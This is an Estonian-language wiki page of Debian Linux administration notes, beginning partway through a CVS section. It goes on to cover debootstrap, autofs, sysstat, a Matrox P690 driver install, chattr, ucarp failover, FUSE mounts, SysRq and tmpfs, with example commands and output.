Projektid tuleb alguses hoidlasse importida vastavate kasutajatega&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cd /data/tmp/portaal-arendus&lt;br /&gt;
  cvs-loomaaed$ cvs -d /data/cvs-loomaaed import -m &amp;quot;Loomaaia portaali arendus algab&amp;quot; portaal-arendus vt rt&lt;br /&gt;
  # su - cvs-propaganada&lt;br /&gt;
  $ cd /data/tmp/portaal-propaganda&lt;br /&gt;
  cvs-propaganda$ cvs -d /data/cvs-propaganda import -m &amp;quot;Loomaaia propaganda algab&amp;quot; propaganada vt rt&lt;br /&gt;
&lt;br /&gt;
====Moodulite kirjeldamine====&lt;br /&gt;
&lt;br /&gt;
CVS all olevast projektist saab kopeerida ka üksikuid katalooge öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cvs co projektinimi/katalooginimi&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Linuxi CVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
  $ export CVSROOT=:pserver:kasutajanimi@cvs.loomaaed.tartu.ee:/data/cvs-loomaaed&lt;br /&gt;
  $ cvs login&lt;br /&gt;
  $ cvs co portaal-arendus&lt;br /&gt;
  $ cvs logout&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Windowsi TortoiseCVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Tortoisecvs-1.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Riistvara omadustega tegelevad utiliidid===&lt;br /&gt;
&lt;br /&gt;
* lshw - esitab suhteliselt põhjaliku väljundi arvutisüsteemi riistvaralistest komponentidest, nt sellise&lt;br /&gt;
&lt;br /&gt;
  # apt-get install lshw&lt;br /&gt;
&lt;br /&gt;
* ethtool&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ethtool&lt;br /&gt;
&lt;br /&gt;
===Debootstrap programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
debootstrap programmiga saab näidatud kataloogi moodustada operatsioonisteemi juurfailisüsteemi&lt;br /&gt;
&lt;br /&gt;
  # debootstrap lenny /srv/lenny-chroot http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Nt sobib seda kasutada töötava operatsioonisüsteemi sees olles multiboot arvuti moodustamiseks. Sel juhul tuleb Debian Lenny puhul lisaks tähele panna selliseid asjaolusid peale seda kui debootstrap on töö lõpetanud&lt;br /&gt;
&lt;br /&gt;
* moodustada /etc/fstab sisu&lt;br /&gt;
* seadistada /etc/network/interfaces ja /etc/hosts&lt;br /&gt;
* kopeerida /lib/modules alla tuuma moodulid&lt;br /&gt;
* paigaldada udev, lvm2, vlan, firmware-bnx2, bridge-utils ja openssh-server tarkvara (ja muu oluline)&lt;br /&gt;
* kirjutada /etc/shadow faili juurkasutajale parool (konsoolilt saab küll login: root järel enterit öeldes sisse ka ilma paroolita)&lt;br /&gt;
* kopeerida tuum ja iniramfs /boot kataloogi&lt;br /&gt;
* paigaldada alglaadur (nt grub-install abil)&lt;br /&gt;
* seadistada ajavöönd, /etc/localtime link&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud keskkonda chrootida, siis üldiselt peaks olema eelnevalt ühendatud külge sellised failisüsteemid, eeldusel, et keskkond asub kataloogis /target&lt;br /&gt;
&lt;br /&gt;
 /dev/sda1 on /target/boot type ext3 (rw,noatime,errors=continue,data=ordered)&lt;br /&gt;
 proc on /target/proc type proc (rw)&lt;br /&gt;
 sysfs on /target/sys type sysfs (rw)&lt;br /&gt;
 udev on /target/dev type tmpfs (rw,size=10240k,mode=755)&lt;br /&gt;
 devpts on /target/dev/pts type devpts (rw,mode=600)&lt;br /&gt;
&lt;br /&gt;
öeldes&lt;br /&gt;
&lt;br /&gt;
 # mount -t proc /proc /srv/lenny-32/proc&lt;br /&gt;
 # mount -t devpts devpts /srv/lenny-32/dev/pts&lt;br /&gt;
&lt;br /&gt;
debootstrap abil saab tekitada ka teisele arhitektuurile vastav failisüsteem, nt öeldes amd64 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # debootstrap --arch=i386 lenny /srv/lenny-32 http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal soovitatakse kasutada tarkvara multistrap.&lt;br /&gt;
&lt;br /&gt;
===Autofs===&lt;br /&gt;
&lt;br /&gt;
Selleks, et failisüsteem monteeritaks külge automaatselt vastava ühenduspunkti poole pöördumisel, sobib kasutada tarkvara autofs. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install autofs&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamiseks tuleb näidata seadistusfailis /etc/auto.master nn map failide asukohad, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.master&lt;br /&gt;
  /var/autofs     /etc/auto.misc --timeout=60&lt;br /&gt;
&lt;br /&gt;
kusjuures map failis /etc/auto.misc on kirjeldatud konkreetsed ressursid, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.misc   &lt;br /&gt;
  cd             -fstype=iso9660,ro,nosuid,nodev :/dev/cdrom&lt;br /&gt;
  removable      -fstype=ext3,ro            :/dev/mapper/mpath3&lt;br /&gt;
&lt;br /&gt;
Kui nüüd öelda muidu tühjas kataloogis /var/autofs 'ls -l', siis ühendatakse failisüsteem külge ning seejärel täidetakse ls käsk, nt&lt;br /&gt;
&lt;br /&gt;
  # cd /var/autofs/removable&lt;br /&gt;
  drwx------ 2 root root 16384 Apr 11 14:13 lost+found&lt;br /&gt;
&lt;br /&gt;
Ühendatud failisüsteemide parameetreid näeb nii&lt;br /&gt;
&lt;br /&gt;
  # mount | grep autofs&lt;br /&gt;
  automount(pid7544) on /var/autofs type autofs (rw,fd=4,pgrp=7544,minproto=2,maxproto=4)&lt;br /&gt;
  /dev/mapper/mpath3 on /var/autofs/removable type ext3 (ro)&lt;br /&gt;
&lt;br /&gt;
Autofs olekut näeb öeldes&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/autofs status&lt;br /&gt;
  Configured Mount Points:&lt;br /&gt;
  ------------------------&lt;br /&gt;
  /usr/sbin/automount --timeout=300 /home file /etc/auto.home &lt;br /&gt;
  &lt;br /&gt;
  Active Mount Points:&lt;br /&gt;
  --------------------&lt;br /&gt;
  /usr/sbin/automount --pid-file=/var/run/autofs/_home.pid --timeout=300 /home file /etc/auto.home&lt;br /&gt;
&lt;br /&gt;
====NFS ressursi ühendamine====&lt;br /&gt;
&lt;br /&gt;
Nt kasutajate kodukataloogide üle NFS ühendamiseks tuleb kirjeldada nt selline /etc/auto.home fail&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.home &lt;br /&gt;
  kernel    -ro,soft,intr       192.168.10.249:/data/export&lt;br /&gt;
&lt;br /&gt;
===Süsteemi ressursikasutuse jälgimine===&lt;br /&gt;
&lt;br /&gt;
Pakett sysstat http://pagesperso-orange.fr/sebastien.godard/ sisaldab süsteemi ressurssikasutuse jälgimiseks vajalikke vahendeid, nii reaalajas kui taustal andmete kogumiseks&lt;br /&gt;
&lt;br /&gt;
* reaalajas - iostat, pidstat, mpstat&lt;br /&gt;
* taustal - sa1, sa2, sar&lt;br /&gt;
&lt;br /&gt;
Tarkvara käivitamist ja töötamist juhivad seadistusfailid&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.d/sysstat&lt;br /&gt;
  /etc/cron.daily/sysstat&lt;br /&gt;
  /etc/default/sysstat&lt;br /&gt;
&lt;br /&gt;
Taustal töötava sysstat töö tulemusena kogutakse andmed ja salvestatakse binaarses formaadis kataloogi /var/log/sysstat. Kogutud andmeid saab esitada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # sar -A -f /var/log/sysstat/sa22  | less&lt;br /&gt;
&lt;br /&gt;
Eraldi mainimist vajab programm pidstat, mille abil saab jälgida üksiku protsessiga seotud ressursikasutust, nt plokkseadme IO'd&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p 15585 2&lt;br /&gt;
  Linux 2.6.26-1-xen-amd64 (moraal.auul)  04/22/09        _x86_64_&lt;br /&gt;
  &lt;br /&gt;
  20:13:28          PID   kB_rd/s   kB_wr/s kB_ccwr/s  Command&lt;br /&gt;
  20:13:30        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:32        15585      0.00    238.00      0.00  wget&lt;br /&gt;
  20:13:34        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:36        15585      0.00    238.00      0.00  wget&lt;br /&gt;
&lt;br /&gt;
Kõigi kasutaja postgres protsesside io'd saab uurida nt selliselt&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p ALL 2 | grep postgres&lt;br /&gt;
&lt;br /&gt;
===Matrox P690 videokaardi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Matrox http://www.matrox.com/ valmistab suhteliselt eeskujulikke videokaarte. P690 mudeli kasutamiseks sobib kasutada aadressil http://www.matrox.com/graphics/en/products/graphics_cards/p_series/p690pci/ kopeeritud draiverit. Lisaks asub nö community-forum aadressil http://forum.tuxx-home.at/ ning sealsed entusiastid avaldavad oma parandustega draivereid.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
  # CC=/usr/bin/gcc-4.1 sh mtxdriver-installer-x86_32-cvs-20090511.run&lt;br /&gt;
  ..&lt;br /&gt;
  Please, enter the directory to extract the files [/root/] /usr/src/mtx&lt;br /&gt;
  Creating directory /usr/src/mtx/matroxdriver-x86_32-cvs-20090511&lt;br /&gt;
  Verifying archive integrity... All good.&lt;br /&gt;
  Uncompressing Matrox Parhelia Driver.&lt;br /&gt;
  ..&lt;br /&gt;
  ========================================&lt;br /&gt;
   Matrox Linux Driver Install Script   &lt;br /&gt;
  ========================================&lt;br /&gt;
  &lt;br /&gt;
  Installation package v1.4.7&lt;br /&gt;
  &lt;br /&gt;
  Refreshing ld database&lt;br /&gt;
  Installing mtx_drv.so ...&lt;br /&gt;
  Installing v4l_drv.so ...&lt;br /&gt;
  Messages are being logged in file /tmp/make.log,&lt;br /&gt;
  this might take some time.&lt;br /&gt;
  &lt;br /&gt;
  Compiling mtx.ko ... done&lt;br /&gt;
  &lt;br /&gt;
  Installing mtx.ko ...&lt;br /&gt;
  Backing up libGL&lt;br /&gt;
  Installing 32bits OpenGL library file to /usr/lib&lt;br /&gt;
  Installing libGL.so.1.3.0 ...&lt;br /&gt;
  Installing the GLX library file to /usr/lib/xorg/modules/extensions&lt;br /&gt;
 &lt;br /&gt;
  Installing libglx.so ...&lt;br /&gt;
  Installing the gl.h header file to /usr/include/GL &lt;br /&gt;
 &lt;br /&gt;
  Installing gl.h ...&lt;br /&gt;
  Installing the glext.h header file to /usr/include/GL &lt;br /&gt;
  &lt;br /&gt;
  Installing glext.h ...&lt;br /&gt;
  Installing the glx.h header file to /usr/include/GL&lt;br /&gt;
 &lt;br /&gt;
  Installing glx.h ...&lt;br /&gt;
  Updating library cache&lt;br /&gt;
 &lt;br /&gt;
  Installing documentation&lt;br /&gt;
  &lt;br /&gt;
  cp: cannot stat `v4l': No such file or directory&lt;br /&gt;
  Installing powerdesk&lt;br /&gt;
  &lt;br /&gt;
  Installing mtxcards ...&lt;br /&gt;
  Installing mtxwizard ...&lt;br /&gt;
  Installing matroxconfig ...&lt;br /&gt;
  Installing libmtxcfg.so ...&lt;br /&gt;
 &lt;br /&gt;
  Do you wish to let the installer setup your X config file  (y/n)? y &lt;br /&gt;
  &lt;br /&gt;
  Trying to configure your X config file (/etc/X11/xorg.conf)&lt;br /&gt;
  &lt;br /&gt;
  Installation finished&lt;br /&gt;
&lt;br /&gt;
Tulemusena on &lt;br /&gt;
&lt;br /&gt;
* moodustatud nö vaikimisi /etc/X11/xorg.conf seadistusfail&lt;br /&gt;
* seadistusutiliit /usr/bin/matroxconfig&lt;br /&gt;
* kataloogi /usr/share/matrox on paigutatud teeke ja tekste&lt;br /&gt;
* kompileeritud ja paigaldatud tuuma moodul mtx.ko, mis on link /usr/share/matrox kataloogi failile &lt;br /&gt;
&lt;br /&gt;
  # find /lib/modules/2.6.26-2-686 -name mtx.ko -ls&lt;br /&gt;
  721274    0 lrwxrwxrwx   1 root     root           32 Aug  8 17:44 \&lt;br /&gt;
    /lib/modules/2.6.26-2-686/kernel/drivers/video/mtx.ko -&amp;gt; /usr/share/matrox/current/mtx.ko&lt;br /&gt;
&lt;br /&gt;
Süsteemi on lisatud/asendatud sellised failid&lt;br /&gt;
&lt;br /&gt;
  /usr/bin&lt;br /&gt;
  /usr/bin/mtxwizard&lt;br /&gt;
  /usr/bin/matroxconfig&lt;br /&gt;
  /usr/share&lt;br /&gt;
  /usr/share/mtxwizard&lt;br /&gt;
  /usr/share/mtxwizard/mtxcards&lt;br /&gt;
  /usr/share/matrox&lt;br /&gt;
  /usr/share/matrox/samples&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Hybrid&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Merge&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_1&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.dual&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_2&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.single&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple_merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Xinerama&lt;br /&gt;
  /usr/share/matrox/current&lt;br /&gt;
  /usr/share/matrox/current/gl.h&lt;br /&gt;
  /usr/share/matrox/current/libmtxcfg.so&lt;br /&gt;
  /usr/share/matrox/current/mtxcards&lt;br /&gt;
  /usr/share/matrox/current/mtx_drv.so&lt;br /&gt;
  /usr/share/matrox/current/glx.h&lt;br /&gt;
  /usr/share/matrox/current/glext.h&lt;br /&gt;
  /usr/share/matrox/current/mtx.ko&lt;br /&gt;
  /usr/share/matrox/current/v4l_drv.so&lt;br /&gt;
  /usr/share/matrox/current/mtxwizard&lt;br /&gt;
  /usr/share/matrox/current/libGL.so.1.3.0&lt;br /&gt;
  /usr/share/matrox/current/matroxconfig&lt;br /&gt;
  /usr/share/matrox/current/libglx.so&lt;br /&gt;
  /usr/share/matrox/backup&lt;br /&gt;
  /usr/share/matrox/docs&lt;br /&gt;
  /usr/share/matrox/docs/readme.txt&lt;br /&gt;
  /usr/share/matrox/docs/readme-advanced.txt&lt;br /&gt;
  /usr/lib&lt;br /&gt;
  /usr/lib/libGL.so.1.3.0&lt;br /&gt;
  /usr/lib/libGL.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libmtxcfg.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/mtx_drv.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/v4l_drv.so&lt;br /&gt;
  /usr/lib/libGL.so.1&lt;br /&gt;
  /usr/src/mtx&lt;br /&gt;
  /usr/src/mtx/log&lt;br /&gt;
  /usr/include/GL&lt;br /&gt;
  /usr/include/GL/gl.h&lt;br /&gt;
  /usr/include/GL/glx.h&lt;br /&gt;
  /usr/include/GL/glext.h&lt;br /&gt;
&lt;br /&gt;
Tuuma laadimisel öeldakse&lt;br /&gt;
&lt;br /&gt;
  # modprobe mtx&lt;br /&gt;
  mtx: module license 'Copyright (c) 2002, 2004, Matrox Graphics Inc.' taints kernel.&lt;br /&gt;
  [mtx] MTX driver v1.4.7&lt;br /&gt;
  [mtx] Allocated a MTX agp driver structure&lt;br /&gt;
  ACPI: PCI Interrupt 0000:03:00.0[A] -&amp;gt; GSI 21 (level, low) -&amp;gt; IRQ 21&lt;br /&gt;
  [mtx] 0x2539(sub:0xffffffff) board found at 03:00.0&lt;br /&gt;
&lt;br /&gt;
====Seadistamine====&lt;br /&gt;
&lt;br /&gt;
Komplekt sisaldab ka graafilist haldusutiliiti matroxconfig, mille abil saab genereerida sobiva X serveri seadistusfaili /etc/X11/xorg.conf, nt sellise [[Pilt:Xorg.conf.patch]]&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Matroxconfig-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Käivitamisel öeldakse dmesg'i&lt;br /&gt;
&lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass &lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass&lt;br /&gt;
&lt;br /&gt;
X log võiks olla nt selline http://kuutorvaja.eenet.ee/mw-1.9.3/images/e/e1/Xorg.mtx-p690.patch&lt;br /&gt;
&lt;br /&gt;
Kui töökohaarvuti vahetada säilitades videokaardi ja monitorid, siis tõenäoliselt piisab xorg.conf failis asendada seadme sektsioonides PCI BusID väärtus sobivaga&lt;br /&gt;
&lt;br /&gt;
  Section &amp;quot;Device&amp;quot;&lt;br /&gt;
          # generated by mtx wizard&lt;br /&gt;
          Identifier  &amp;quot;mtxwizard_device_1&amp;quot;&lt;br /&gt;
          Driver      &amp;quot;mtx&amp;quot;&lt;br /&gt;
          BusID       &amp;quot;PCI:3:0:0&amp;quot;&lt;br /&gt;
          Screen      1&lt;br /&gt;
  EndSection&lt;br /&gt;
&lt;br /&gt;
kusjuures õige saab teha kindlaks lspci utiliidiga&lt;br /&gt;
&lt;br /&gt;
  # lspci | grep Matrox&lt;br /&gt;
  03:00.0 VGA compatible controller: Matrox Graphics, Inc. Millennium P690 (rev 01)&lt;br /&gt;
&lt;br /&gt;
===lsattr ja chattr programmide kasutamine===&lt;br /&gt;
&lt;br /&gt;
chattr programmi abil saab ext2 ja ext3 failisüsteemis seadistada failidele täiendavad omadusi. Näiteks, märkida faili immutable'ks&lt;br /&gt;
&lt;br /&gt;
 # chattr +i failinimi&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa seda faili ka kustutada juurkasutaja&lt;br /&gt;
&lt;br /&gt;
 # rm failinimi&lt;br /&gt;
 rm: cannot remove `failinimi': Operation not permitted&lt;br /&gt;
&lt;br /&gt;
Atribuutide väärtusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # lsattr failinimi&lt;br /&gt;
 ----i-------------- failinimi&lt;br /&gt;
&lt;br /&gt;
immutable biti saab eemaldada öeldes&lt;br /&gt;
&lt;br /&gt;
 # chattr -i failinimi&lt;br /&gt;
&lt;br /&gt;
===ucarp kasutamine===&lt;br /&gt;
&lt;br /&gt;
ucarp http://www.ucarp.org/project/ucarp tarkvara abil on võimalik korraldada kahe või enama arvuti nn aktiivset/passiiveset klustrit kasutades CARP protokolli. Klustri igal arvutil on oma individuaalne ip aadress ning lisaks on määratud üks teenuse virtuaalne ip aadress. Sõltuvalt sellest, kuidas parasjagu on klustri osalesid masteri osas kokku leppinud pakub master teenust, teised on nö kõrval-seisvas (ingl. k. standby) asendis.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ucarp&lt;br /&gt;
&lt;br /&gt;
Ning seadistamiseks tuleb nt kahe komponendilise klustri ühe arvuti võrguliideste seadistusfailis /etc/network/interfaces kasutada&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.51&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 0&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
ning teise arvuti puhul&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.52&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 10&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kokkulepitud masteris lisaks tavalistele vürguseadetele seade eth0:ucarp&lt;br /&gt;
&lt;br /&gt;
  eth0:ucarp Link encap:Ethernet  HWaddr 70:01:68:01:00:51  &lt;br /&gt;
          inet addr:192.168.10.48  Bcast:192.168.10.255  Mask:255.255.255.255&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
&lt;br /&gt;
ucarp on võrreldes keepalived või heartbeat tarkvaraga tagasihoidlikemate omadustega, kuid mõnel juhul võib just see ollagi eeliseks.&lt;br /&gt;
&lt;br /&gt;
===FUSE===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt toimub failisüsteemidega tegelemine, nt külgeühendamine, privilegeeritud kasujana ning nn kernel-space'is, siis FUSE (Filesystem in Userspace) http://fuse.sourceforge.net/ tehnika võimaldab seda teha tavakasutajana user-space'is. Linuxi tuum sisaldab FUSE tuge ning paketihalduses on rohkesti FUSE funktsionaalsust kasutavat tarkvara. Üldkasutatavad FUSE utiliidid on paketis fuse-utils.&lt;br /&gt;
&lt;br /&gt;
====curlftpfs====&lt;br /&gt;
&lt;br /&gt;
curlftpfs abil saab nö külge monteerida ftp serverist ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install curlftpfs&lt;br /&gt;
&lt;br /&gt;
Kasutmise peab kasutaja kuuluma gruppi fuse, ressursi külgeühendamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ curlftpfs ftp://ftp.ee.debian.ee /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
ja lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub nii nagu tavalise kohaliku failisüsteemi kasutamine.&lt;br /&gt;
&lt;br /&gt;
====SSHFS====&lt;br /&gt;
&lt;br /&gt;
sshfs abil saab nö külge monteerida serverist, kuhu on ssh ligipääs, ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sshfs&lt;br /&gt;
&lt;br /&gt;
Kasutamise peab kuuluma gruppi fuse, külgeühendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  $ sshfs mart@loomaaed.tartu.ee:/katalooginimi-ssh-serveris /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
Lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
===SysRq===&lt;br /&gt;
&lt;br /&gt;
Kui Linuxi tuum hangub, siis enamikul juhtudel on ta võimeline aru saama talle nö otse saadetud signaalidest. Lenny paketihalduse tuumaga saab vaikimisi SysRq'd kasutada, väljalülitamiseks tuleb parameetrile kernel.sysrq omistada väärtus null&lt;br /&gt;
&lt;br /&gt;
  # sysctl -w kernel.sysrq=0&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Magic_SysRq_key&lt;br /&gt;
&lt;br /&gt;
====Füüsiliselt konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Füüsiliselt konsoolilt saab sisestada erinevaid kombinatsioone (kui SysRq klahv pole tähistatud, siis tavaliselt toimib sellena PrintScreen)&lt;br /&gt;
&lt;br /&gt;
# failisüsteemide sünkroniseerimine - Alt-SysRq-s&lt;br /&gt;
# failisüsteemide read-only remountimine - Alt-SysRq-u&lt;br /&gt;
# arvuti reboot - Alt-SysRq-b&lt;br /&gt;
&lt;br /&gt;
Iga tegevuse kohta antakse terminalile ka vastav teade.&lt;br /&gt;
&lt;br /&gt;
====Käsurealt====&lt;br /&gt;
&lt;br /&gt;
Kui aga arvutis ollakse eemal ning mingil põhjusel on siiski võimalik talle käske anda, kuigi ta käitub piisavalt juhtimatult, et selleks ettenähtud vahenditega rebooti teha, nt 'shutdown -r now', siis saab samasid tegevusi esile kutsuda selliselt&lt;br /&gt;
&lt;br /&gt;
 bash# echo s &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo b &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
Ammendav loetelu võimalikest sisenditest on kirjas tuuma lähtetekstide kataloogis vist failis Documentation/kernel-parameters.txt.&lt;br /&gt;
&lt;br /&gt;
====Xen konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Xeni konsoolilt saab saata SysRq signaale valides&lt;br /&gt;
&lt;br /&gt;
  Ctrl+O ja täht&lt;br /&gt;
&lt;br /&gt;
h väljastab nimekirja toetatud signaalidest&lt;br /&gt;
&lt;br /&gt;
  SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK aLlcpus\&lt;br /&gt;
    showMem Nice powerOff showPc show-all-timers(Q) unRaw Sync showTasks \&lt;br /&gt;
    Unmount shoW-blocked-tasks &lt;br /&gt;
&lt;br /&gt;
====Serial konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Serial konsoolilt saab tuumale SysRq signaali saata valides Break + täht.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===RAM failisüsteemid===&lt;br /&gt;
&lt;br /&gt;
RAM failisüsteem võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina, nt sellised tehnikad&lt;br /&gt;
&lt;br /&gt;
* tmpfs - tundub, et 2016 aasta seisuga on see üldiselt soovitatav ram failisüsteem, mõnes kohas kirjandus väidab, et tmpfs ei võimalda failisüsteemi suurust piirata, paistab, et see siiski ei ole nii&lt;br /&gt;
* ramfs - legacy ramfs, 2016 aasta seisuga üldiselt ei soovitata kasutada&lt;br /&gt;
&lt;br /&gt;
====tmpfs====&lt;br /&gt;
&lt;br /&gt;
tmpfs võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina. Kasutamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/tmpfs&lt;br /&gt;
 # mount -t tmpfs -o size=48g tmpfs /mnt/tmpfs&lt;br /&gt;
&lt;br /&gt;
Kuna failisüsteem asub mälus, siis ta töötab kiiresti&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/zero of=/mnt/tmpfs/1G bs=1M count=1024&lt;br /&gt;
 1024+0 records in&lt;br /&gt;
 1024+0 records out&lt;br /&gt;
 1073741824 bytes (1.1 GB) copied, 0.981817 s, 1.1 GB/s&lt;br /&gt;
&lt;br /&gt;
Traditsiooniline tmpfs ühenduspunkt tmpfs jaoks on /dev/shm mis on ka vaikimisi Debian Lenny puhul kasutuses&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem               Size  Used Avail Use% Mounted on&lt;br /&gt;
 /dev/mapper/system-root  4.0G  3.6G  236M  94% /&lt;br /&gt;
 tmpfs                    3.9G     0  3.9G   0% /lib/init/rw&lt;br /&gt;
 udev                      10M   60K   10M   1% /dev&lt;br /&gt;
 tmpfs                    3.9G  4.0K  3.9G   1% /dev/shm&lt;br /&gt;
 /dev/sda1                107M   82M   20M  81% /boot&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt vaikimisi kasutatavate tmpfs failisüsteemides on nt selline sisu&lt;br /&gt;
&lt;br /&gt;
 # find /dev/shm -ls&lt;br /&gt;
 5812    0 drwxrwxrwt   3 root     root           60 Jul 19 08:25 /dev/shm/&lt;br /&gt;
 5964    0 drwxr-xr-x   2 root     root           60 Jul 19 08:25 /dev/shm/network&lt;br /&gt;
